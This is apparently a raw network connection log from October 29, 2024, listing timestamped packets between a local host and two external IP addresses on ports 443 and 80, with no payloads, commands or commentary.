Oct 29, 2024 04:17:28.791505098 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.791553974 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.791594028 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.791615009 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.791644096 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.791665077 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.909203053 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.909245968 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.909292936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.909352064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.909384966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.909410000 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.026499987 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.026552916 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.026586056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.026621103 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.026648045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.026669025 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.144598007 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.144655943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.144716978 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.144784927 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.144823074 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.144846916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.241415977 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.241467953 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.241652966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.241652966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.241719007 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.243495941 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.304210901 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.304259062 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.304466009 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.304466963 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.304532051 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.307492971 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.380486965 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.380556107 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.380604982 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.380673885 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.380716085 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.380738974 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.497374058 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.497428894 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.497497082 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.497567892 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.497603893 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.497628927 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.594201088 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.594247103 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.594423056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.594423056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.594489098 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.594912052 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.625566959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.625613928 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.625780106 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.625780106 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.625801086 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.626174927 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.742474079 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.742518902 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.742716074 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.742748976 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.742799044 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.831592083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.831636906 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.831860065 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.831860065 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.831943035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.832293987 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.860948086 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.860990047 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.861169100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.861169100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.861192942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.861646891 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.977190018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.977261066 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.977273941 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.977288961 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:29.977318048 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:29.977333069 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.011670113 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.011718035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.011818886 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.011893034 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.011936903 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.015491962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.095180035 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.095242977 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.095429897 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.095467091 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.095604897 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.182480097 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.182547092 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.182645082 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.182677984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.182708025 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.182723999 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.213445902 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.213476896 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.213627100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.213627100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.213650942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.213711023 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.299789906 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.299820900 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.300019026 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.300059080 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.300124884 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.330889940 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.330924988 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.331134081 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.331163883 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.331216097 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.417583942 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.417618036 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.417830944 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.417855024 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.417910099 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.448493004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.448518991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.448656082 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.448673964 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.448730946 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.534977913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.535010099 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.535058022 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.535087109 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.535113096 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.535135984 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.565819979 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.565849066 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.566004038 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.566020012 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.566206932 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.652362108 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.652393103 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.652439117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.652458906 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.652487993 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.652510881 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.682729959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.682760000 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.682862997 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.682872057 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.683022022 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.769840956 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.769869089 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.770042896 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.770054102 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.770093918 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.800302982 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.800400019 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.800507069 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.800507069 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.800590038 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.800658941 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.834856033 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.834902048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.835077047 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.835077047 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.835100889 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.835153103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.917386055 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.917416096 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.917601109 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.917623997 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.917767048 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.918575048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.918596029 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.918678045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:30.918690920 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:30.918745041 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.005173922 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.005203009 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.005378962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.005403042 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.005458117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.035439968 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.035468102 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.035573006 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.035593033 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.035646915 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.069998980 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.070023060 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.070055008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.070080042 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.070102930 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.070125103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.152579069 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.152609110 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.152719975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.152720928 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.152766943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.152818918 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.153707981 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.153739929 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.153774023 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.153786898 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.153812885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.153831005 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.230720997 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.230746031 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.230844975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.230864048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.230917931 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.270306110 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.270335913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.270476103 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.270497084 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.270550966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.271599054 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.271616936 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.271667957 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.271681070 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.271708965 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.271729946 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.357186079 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.357212067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.357335091 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.357357979 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.357460976 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.387819052 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.387844086 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.387926102 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.387943983 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.387972116 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.387989998 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.388937950 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.388957977 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.389008999 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.389022112 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.389048100 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.389067888 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.474828959 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.474858999 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.475055933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.475071907 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.475128889 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.505450964 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.505474091 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.505578995 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.505593061 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.505647898 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.539952993 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.539983988 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.540096045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.540134907 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.540199995 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.583147049 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.583172083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.583270073 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.583290100 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.583348036 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.626924038 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.626948118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.627002001 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.627027988 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.627058983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.627080917 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.627444029 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.627465010 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.627520084 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.627533913 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.627583981 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.658163071 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.658183098 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.658231974 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.658255100 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.658281088 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.658298969 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.710796118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.710824013 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.710863113 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.710889101 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.710916996 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.710939884 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.741624117 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.741647005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.741695881 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.741727114 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.741754055 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.741776943 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.775047064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.775068998 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.775115967 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.775135994 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.775162935 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.775182962 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.827820063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.827843904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.827888966 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.827905893 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.827933073 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.827950954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.858597040 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.858613014 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.858685970 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.858700991 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.858747959 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.859318018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.859333038 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.859378099 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.859390020 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.859415054 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.859431982 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.893116951 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.893134117 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.893191099 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.893249989 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.893280983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.893306971 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.945640087 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.945657015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.945724010 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.945755005 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.945812941 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.976500034 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.976516008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.976566076 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.976576090 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:31.976610899 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:31.976622105 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.010165930 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.010183096 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.010241032 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.010260105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.010292053 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.010330915 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.224123955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:32.224359989 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.224370003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.224447966 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.224467993 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:32.224509001 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.224509001 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:32.224545956 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:32.224591970 CET	49761	443	192.168.2.4	87.106.236.48
